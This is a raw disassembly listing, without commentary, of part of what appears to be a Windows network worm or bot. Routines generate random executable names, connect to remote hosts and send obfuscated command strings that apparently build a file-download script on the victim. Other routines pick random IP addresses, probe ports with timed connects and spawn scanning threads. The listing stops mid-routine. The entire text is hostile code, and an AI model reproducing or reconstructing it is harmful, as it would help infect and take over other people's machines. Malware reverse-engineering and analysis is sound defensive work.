		mov	esi, offset dword_454764
		push	edx
		push	offset aCCCCCC	; "%c%c%c%c%c%c"
		push	esi
		call	sub_429B03
		add	esp, 20h
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_401A77	endp


; =============== S U B	R O U T	I N E =======================================



sub_401AF0	proc near		; CODE XREF: sub_401B6E+17Ep
					; sub_401B6E+189p ...
		push	esi
		push	edi
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		pop	ecx
		call	sub_429B9C
		push	1Ah
		pop	edi
		cdq
		mov	ecx, edi
		push	61h
		idiv	ecx
		pop	esi
		add	edx, esi
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		add	edx, esi
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		add	edx, esi
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		add	edx, esi
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		add	edx, esi
		push	edx
		call	sub_429B9C
		cdq
		idiv	edi
		add	edx, esi
		mov	esi, offset dword_454740
		push	edx
		push	offset dword_4439B4
		push	offset aSCCCCC	; "%s%c%c%c%c%c"
		push	esi
		call	sub_429B03
		add	esp, 24h
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_401AF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B6E	proc near		; CODE XREF: .text:004018F0p
					; sub_403B9B+139p ...

var_6B4		= byte ptr -6B4h
var_2B4		= byte ptr -2B4h
var_1B4		= byte ptr -1B4h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		sub	esp, 6B4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		call	sub_429760
		add	esp, 0Ch
		cmp	dword_456DA8, edi
		push	2
		pop	esi
		jz	short loc_401BFC
		push	10h
		lea	eax, [ebp+var_24]
		push	edi
		push	eax
		call	sub_429760
		add	esp, 0Ch
		mov	[ebp+var_24], si
		push	offset dword_4565A0
		call	dword_456F7C	; inet_addr
		mov	[ebp+var_20], eax
		mov	ax, word ptr dword_4567A0
		push	eax
		call	dword_456F38	; ntohs
		push	edi
		push	1
		push	esi
		mov	[ebp+var_22], ax
		call	dword_456FD0	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_401E6D
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	ebx
		call	dword_456EBC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401BF5
		mov	dword_456DA8, edi


loc_401BF5:				; CODE XREF: sub_401B6E+7Fj
		push	ebx
		call	dword_4372D8	; closesocket


loc_401BFC:				; CODE XREF: sub_401B6E+26j
		lea	eax, [ebp+arg_0]
		mov	[ebp+var_14], si
		push	eax
		call	dword_456F7C	; inet_addr
		push	[ebp+arg_C4]
		mov	[ebp+var_10], eax
		call	dword_456F38	; ntohs
		push	edi
		push	1
		push	esi
		mov	[ebp+var_12], ax
		call	dword_456FD0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_C4], esi
		jz	loc_401E6D
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	esi
		call	dword_456EBC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_401E6D
		push	edi
		lea	eax, [ebp+var_6B4]
		push	400h
		push	eax
		push	esi
		call	dword_456F58	; recv
		call	sub_429B9C
		push	9
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		idiv	esi
		lea	eax, [ebp+var_2B4]
		push	edx
		push	offset dword_4439B4
		push	offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
		push	eax
		call	sub_429B03
		add	esp, 20h
		cmp	dword_456DA8, edi
		mov	ebx, offset dword_456BA8
		jnz	loc_401D6B
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41E4C1
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], offset dword_457CF8
		jnz	short loc_401CE0
		mov	[ebp+var_4], offset dword_457C40


loc_401CE0:				; CODE XREF: sub_401B6E+169j
		lea	eax, [ebp+var_2B4]
		push	eax
		push	offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
		call	sub_401AF0
		push	eax
		push	offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
		call	sub_401AF0
		push	eax
		mov	esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/"
		push	offset aLvk_hHddio0 ; "Lvk.H/hddio0"
		push	esi
		call	sub_401AF0
		push	eax
		lea	eax, [ebp+var_2B4]
		push	eax
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		push	esi
		call	sub_401AF0
		push	eax
		call	sub_401A77
		push	eax
		call	sub_401A77
		push	eax
		push	offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
		push	esi
		call	sub_401AF0
		push	eax
		mov	esi, 190h
		push	dword_454A30
		lea	eax, [ebp+var_1B4]
		push	[ebp+var_4]
		push	offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
		push	offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
		push	offset aSSSDSSSSSSSSSS ; "%s %s	%s %d >> %s %s %s %s %s	>> %s %s "...
		push	esi
		push	eax
		call	sub_429BBE
		add	esp, 60h
		jmp	loc_401DF1
; ---------------------------------------------------------------------------


loc_401D6B:				; CODE XREF: sub_401B6E+150j
		push	ebx
		push	offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
		call	sub_401AF0
		push	eax
		push	offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
		call	sub_401AF0
		push	eax
		mov	esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/"
		push	offset aLvk_hHddio0 ; "Lvk.H/hddio0"
		push	esi
		call	sub_401AF0
		push	eax
		push	ebx
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		push	esi
		call	sub_401AF0
		push	eax
		push	offset aEih0f1gakfp0 ; "EiH0f1GakFP0"
		push	esi
		call	sub_401AF0
		push	eax
		push	offset dword_4569A8
		push	offset dword_4567A8
		push	offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
		push	esi
		call	sub_401AF0
		push	eax
		mov	esi, 190h
		push	dword_4567A0
		lea	eax, [ebp+var_1B4]
		push	offset dword_4565A0
		push	offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
		push	offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
		push	offset aSSSDSSSSSSSS_0 ; "%s %s	%s %d >> %s %s %s %s %s	>> %s %s "...
		push	esi
		push	eax
		call	sub_429BBE
		add	esp, 6Ch


loc_401DF1:				; CODE XREF: sub_401B6E+1F8j
		lea	eax, [ebp+var_1B4]
		push	edi
		push	eax
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1B4]
		push	eax
		push	[ebp+arg_C4]
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401E6D
		push	esi
		call	dword_437190	; Sleep
		cmp	dword_456DA8, edi
		jnz	short loc_401E30
		lea	eax, [ebp+var_2B4]
		push	eax
		jmp	short loc_401E31
; ---------------------------------------------------------------------------


loc_401E30:				; CODE XREF: sub_401B6E+2B7j
		push	ebx


loc_401E31:				; CODE XREF: sub_401B6E+2C0j
		push	offset aS_6	; "%s\r\n"
		lea	eax, [ebp+var_1B4]
		push	esi
		push	eax
		call	sub_429BBE
		add	esp, 10h
		lea	eax, [ebp+var_1B4]
		push	edi
		push	eax
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1B4]
		push	eax
		push	[ebp+arg_C4]
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401E71


loc_401E6D:				; CODE XREF: sub_401B6E+69j
					; sub_401B6E+C4j ...
		xor	eax, eax
		jmp	short loc_401E99
; ---------------------------------------------------------------------------


loc_401E71:				; CODE XREF: sub_401B6E+2FDj
		push	edi
		lea	eax, [ebp+var_6B4]
		push	400h
		push	eax
		push	[ebp+arg_C4]
		call	dword_456F58	; recv
		push	[ebp+arg_C4]
		call	dword_456FF0	; closesocket
		xor	eax, eax
		inc	eax


loc_401E99:				; CODE XREF: sub_401B6E+301j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401B6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E9E	proc near		; CODE XREF: .text:00401982p
					; sub_403B9B+1DBp ...

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_43AB70
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset off_43AB68
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_454A54
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	dword_437184	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_429C0F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_429C0F
		add	esp, 10h
		jmp	short loc_401F3C
; ---------------------------------------------------------------------------


loc_401F31:				; CODE XREF: sub_401E9E+AFj
		push	7D0h
		call	dword_437190	; Sleep


loc_401F3C:				; CODE XREF: sub_401E9E+91j
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_456E34
		test	eax, eax
		jnz	short loc_401F31
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_401E9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F54	proc near		; CODE XREF: sub_40A9FE+6125p
					; sub_40A9FE+9A36p

var_20		= byte ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jz	loc_402044
		push	10h
		mov	ebx, offset dword_454A20
		push	0
		push	ebx
		call	sub_429760
		push	10h
		lea	eax, [ebp+var_20]
		push	[ebp+arg_0]
		push	eax
		call	sub_429D10
		mov	esi, offset dword_43AB8C
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_429C5E
		add	esp, 20h
		mov	[ebp+var_10], eax
		test	eax, eax
		jz	loc_402044
		xor	edi, edi
		inc	edi


loc_401FA4:				; CODE XREF: sub_401F54+6Cj
		push	esi
		push	0
		call	sub_429C5E
		xor	edx, edx
		pop	ecx
		cmp	eax, edx
		pop	ecx
		mov	[ebp+edi*4+var_10], eax
		jz	loc_402044
		inc	edi
		cmp	edi, 4
		jl	short loc_401FA4
		cmp	[ebp+arg_8], 1
		jnz	short loc_401FEE
		cmp	[ebp+arg_4], edx
		mov	ecx, offset dword_43AB88
		mov	eax, offset dword_43A30C
		mov	esi, ecx
		jnz	short loc_401FEA
		mov	esi, eax
		mov	edx, eax


loc_401FDD:				; CODE XREF: sub_401F54+98j
		cmp	[ebp+arg_4], 0
		jz	short loc_401FE5
		mov	eax, ecx


loc_401FE5:				; CODE XREF: sub_401F54+8Dj
		push	esi
		push	edx
		push	eax
		jmp	short loc_40202F
; ---------------------------------------------------------------------------


loc_401FEA:				; CODE XREF: sub_401F54+83j
		mov	edx, ecx
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------


loc_401FEE:				; CODE XREF: sub_401F54+72j
		cmp	[ebp+arg_8], 2
		jnz	short loc_402013
		cmp	[ebp+arg_4], edx
		mov	ecx, offset dword_43AB88
		mov	eax, offset dword_43A30C
		mov	edx, ecx
		jnz	short loc_402007
		mov	edx, eax


loc_402007:				; CODE XREF: sub_401F54+AFj
		cmp	[ebp+arg_4], 0
		jz	short loc_40200F
		mov	eax, ecx


loc_40200F:				; CODE XREF: sub_401F54+B7j
		push	edx
		push	eax
		jmp	short loc_40202C
; ---------------------------------------------------------------------------


loc_402013:				; CODE XREF: sub_401F54+9Ej
		cmp	[ebp+arg_8], 3
		jnz	short loc_402044
		cmp	[ebp+arg_4], edx
		mov	eax, offset dword_43AB88
		jnz	short loc_402028
		mov	eax, offset dword_43A30C


loc_402028:				; CODE XREF: sub_401F54+CDj
		push	eax
		push	[ebp+var_8]


loc_40202C:				; CODE XREF: sub_401F54+BDj
		push	[ebp+var_C]


loc_40202F:				; CODE XREF: sub_401F54+94j
		push	[ebp+var_10]
		push	offset dword_43AB7C
		push	ebx
		call	sub_429B03
		add	esp, 18h
		mov	eax, ebx
		jmp	short loc_402046
; ---------------------------------------------------------------------------


loc_402044:				; CODE XREF: sub_401F54+Dj
					; sub_401F54+47j ...
		xor	eax, eax


loc_402046:				; CODE XREF: sub_401F54+EEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401F54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40204B	proc near		; CODE XREF: sub_40A9FE+5E3Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	8
		call	sub_423800
		test	eax, eax
		pop	ecx
		jle	short loc_402093
		mov	eax, [ebp+arg_C]
		mov	eax, dword_4540D8[eax*8]
		push	eax
		call	dword_456FDC	; inet_ntoa
		cmp	[ebp+arg_8], 0
		push	eax
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	offset dword_43AB9C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		jnz	short loc_40208C
		call	sub_41CE4A


loc_402087:				; CODE XREF: sub_40204B+46j
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40208C:				; CODE XREF: sub_40204B+35j
		call	sub_41CDD4
		jmp	short loc_402087
; ---------------------------------------------------------------------------


loc_402093:				; CODE XREF: sub_40204B+Dj
		cmp	[ebp+arg_8], 0
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	offset dword_43AB90
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		jnz	short loc_4020B0
		call	sub_41CE4A
		jmp	short loc_4020B5
; ---------------------------------------------------------------------------


loc_4020B0:				; CODE XREF: sub_40204B+5Cj
		call	sub_41CDD4


loc_4020B5:				; CODE XREF: sub_40204B+63j
		add	esp, 10h
		pop	ebp
		retn
sub_40204B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020BA	proc near		; CODE XREF: sub_402459+58p

var_C		= dword	ptr -0Ch
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_AC		= dword	ptr  0B4h
arg_CC		= dword	ptr  0D4h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_AC]
		push	edi
		cmp	eax, 0FFFFFFFFh
		jz	loc_4021E1
		shl	eax, 6
		xor	edi, edi
		cmp	dword_43A384[eax], edi
		jz	loc_4021E1
		push	0Ch
		call	sub_423800
		test	eax, eax
		pop	ecx
		jnz	loc_4021E1
		cmp	dword_457F68, edi
		jnz	short loc_402118
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		mov	[esp+0Ch+var_C], 0F618h
		push	9C4h
		call	sub_41E415
		pop	ecx
		pop	ecx
		jmp	short loc_40211F
; ---------------------------------------------------------------------------


loc_402118:				; CODE XREF: sub_4020BA+3Bj
		movzx	eax, word_44399A


loc_40211F:				; CODE XREF: sub_4020BA+5Cj
		push	esi
		mov	esi, offset dword_454774
		push	104h
		push	esi
		push	edi
		mov	dword_454984, eax
		mov	dword_454980, edi
		call	dword_43717C	; GetModuleFileNameA
		push	103h
		push	offset dword_4439A8
		push	offset dword_454878
		call	sub_429D10
		lea	eax, [ebp+arg_10]
		push	7Fh
		push	eax
		push	offset dword_454988
		mov	dword_454A14, edi
		call	sub_429D10
		push	esi
		mov	eax, [ebp+arg_CC]
		push	offset a8cbgoRjryr_ ; "8CBGO/rJRYr."
		mov	dword_454A18, eax
		push	dword_454984
		push	offset aKbwmi16jfhl ; "KbwMi16jFhl/"
		push	offset a5oke1awbzq ; "5OkE/1AWBZq/"
		push	offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
		push	offset aSSSISS_	; "%s %s, %s: %i, %s: %s."
		push	0Ch
		call	sub_4234A7
		add	esp, 38h
		mov	dword_45497C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	offset dword_454770
		push	offset sub_402CE9
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, dword_45497C
		pop	esi
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jz	short loc_4021E1
		jmp	short loc_4021D9
; ---------------------------------------------------------------------------


loc_4021D1:				; CODE XREF: sub_4020BA+125j
		push	32h
		call	dword_437190	; Sleep


loc_4021D9:				; CODE XREF: sub_4020BA+115j
		cmp	dword_454A14, edi
		jz	short loc_4021D1


loc_4021E1:				; CODE XREF: sub_4020BA+Ej
					; sub_4020BA+1Fj ...
		pop	edi
		leave
		retn
sub_4020BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4021E4	proc near		; CODE XREF: sub_402675:loc_4026DDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4540D8h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_429420
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_456E28	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_456F34	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_429420
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4021E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40222C	proc near		; CODE XREF: sub_402675+60p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		or	edi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], edi
		mov	[ebp+var_10], edi
		call	sub_4293A0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_402257
		xor	eax, eax
		jmp	loc_4022E4
; ---------------------------------------------------------------------------


loc_402257:				; CODE XREF: sub_40222C+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_429E0E
		add	esp, 18h
		cmp	[ebp+var_C], edi
		jnz	short loc_40228C
		call	sub_429B9C
		cdq
		mov	ecx, 0E1h
		idiv	ecx
		mov	[ebp+var_C], edx


loc_40228C:				; CODE XREF: sub_40222C+4Ej
		cmp	[ebp+var_8], edi
		push	esi
		mov	esi, 0FFh
		jnz	short loc_4022A4
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	[ebp+var_8], edx


loc_4022A4:				; CODE XREF: sub_40222C+69j
		cmp	[ebp+var_4], edi
		jnz	short loc_4022B6
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	[ebp+var_4], edx


loc_4022B6:				; CODE XREF: sub_40222C+7Bj
		mov	edx, [ebp+var_10]
		cmp	edx, edi
		jnz	short loc_4022C5
		call	sub_429B9C
		cdq
		idiv	esi


loc_4022C5:				; CODE XREF: sub_40222C+8Fj
		shl	edx, 8
		add	edx, [ebp+var_4]
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		pop	esi
		shl	edx, 8
		add	edx, [ebp+var_8]
		shl	edx, 8
		add	eax, edx
		mov	dword_4540D8[ecx*8], eax


loc_4022E4:				; CODE XREF: sub_40222C+26j
		pop	edi
		leave
		retn
sub_40222C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022E7	proc near		; CODE XREF: sub_402675+78p
					; sub_404525+B86p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	offset dword_457C40
		push	[ebp+arg_0]
		call	dword_456FDC	; inet_ntoa
		mov	esi, dword_437178
		push	eax
		call	esi ; dword_437178
		test	eax, eax
		jz	loc_4023B5
		push	offset dword_457CF8
		push	[ebp+arg_0]
		call	dword_456FDC	; inet_ntoa
		push	eax
		call	esi ; dword_437178
		test	eax, eax
		jz	loc_4023B5
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_456FD0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4023B5
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_456F38	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_456FF4	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_456EBC	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_456F1C	; select
		push	esi
		mov	edi, eax
		call	dword_456FF0	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al
		jmp	short loc_4023B7
; ---------------------------------------------------------------------------


loc_4023B5:				; CODE XREF: sub_4022E7+25j
					; sub_4022E7+3Ej ...
		xor	eax, eax


loc_4023B7:				; CODE XREF: sub_4022E7+CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4022E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023BC	proc near		; CODE XREF: sub_41F0F5+12Cp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_456FD0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4023E5
		xor	eax, eax
		jmp	short loc_402454
; ---------------------------------------------------------------------------


loc_4023E5:				; CODE XREF: sub_4023BC+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_456F38	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_456FF4	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_456EBC	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_456F1C	; select
		push	esi
		mov	edi, eax
		call	dword_456FF0	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_402454:				; CODE XREF: sub_4023BC+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4023BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402459	proc near		; DATA XREF: sub_40A9FE+62EDo
					; sub_40A9FE+9BB7o

var_CC		= byte ptr -0CCh
var_BC		= byte ptr -0BCh
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	33h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_CC]
		inc	ebx
		rep movsd
		mov	ecx, [ebp+var_4]
		mov	[eax+0C0h], ebx
		lea	eax, [ebp+var_CC]
		mov	[ebp+arg_0], ecx
		push	eax
		call	dword_456F7C	; inet_addr
		push	[ebp+var_4]
		mov	ecx, [ebp+var_30]
		lea	esi, [ebp+var_CC]
		sub	esp, 0CCh
		mov	dword_4540D8[ecx*8], eax
		push	33h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4020BA
		push	8
		call	sub_423800
		add	esp, 0D4h
		cmp	eax, ebx
		jnz	short loc_402544
		mov	esi, offset dword_45474C
		push	esi
		call	dword_437168	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_43716C	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_402544
		cmp	[ebp+var_1C], eax
		mov	edi, dword_437170
		mov	esi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		mov	ebx, offset aSSD_0 ; "%s %s: <%d>"
		jnz	short loc_402519
		cmp	[ebp+var_18], eax
		jnz	short loc_40251F
		call	edi ; dword_437170
		push	eax
		push	offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		push	esi
		lea	eax, [ebp+var_BC]
		push	ebx
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 18h


loc_402519:				; CODE XREF: sub_402459+9Dj
		cmp	[ebp+var_18], 0
		jz	short loc_40253B


loc_40251F:				; CODE XREF: sub_402459+A2j
		call	edi ; dword_437170
		push	eax
		push	offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		push	esi
		lea	eax, [ebp+var_BC]
		push	ebx
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 18h


loc_40253B:				; CODE XREF: sub_402459+C4j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_402544:				; CODE XREF: sub_402459+6Cj
					; sub_402459+88j
		mov	eax, [ebp+var_30]
		cmp	[ebp+var_24], ebx
		mov	edi, ebx
		mov	esi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		mov	dword_4540DC[eax*8], ebx
		mov	ebx, dword_437190
		jb	short loc_4025D4


loc_402560:				; CODE XREF: sub_402459+179j
		push	edi
		lea	eax, [ebp+var_CC]
		push	[ebp+var_30]
		mov	[ebp+var_28], edi
		push	[ebp+var_3C]
		push	eax
		push	esi
		push	offset aSSDThreadDSubT ; "%s %s:%d, Thread: %d,	Sub-thread: %d."
		push	8
		call	sub_4234A7
		mov	[ebp+var_2C], eax
		imul	eax, 2724h
		mov	ecx, [ebp+var_30]
		add	esp, 1Ch
		mov	dword_46D724[eax], ecx
		xor	eax, eax
		push	eax
		lea	ecx, [ebp+var_CC]
		push	eax
		push	ecx
		push	offset sub_402675
		push	eax
		push	eax
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_2C]
		imul	ecx, 2724h
		test	eax, eax
		mov	dword_46D72C[ecx], eax
		jz	short loc_4025CA
		jmp	short loc_4025C4
; ---------------------------------------------------------------------------


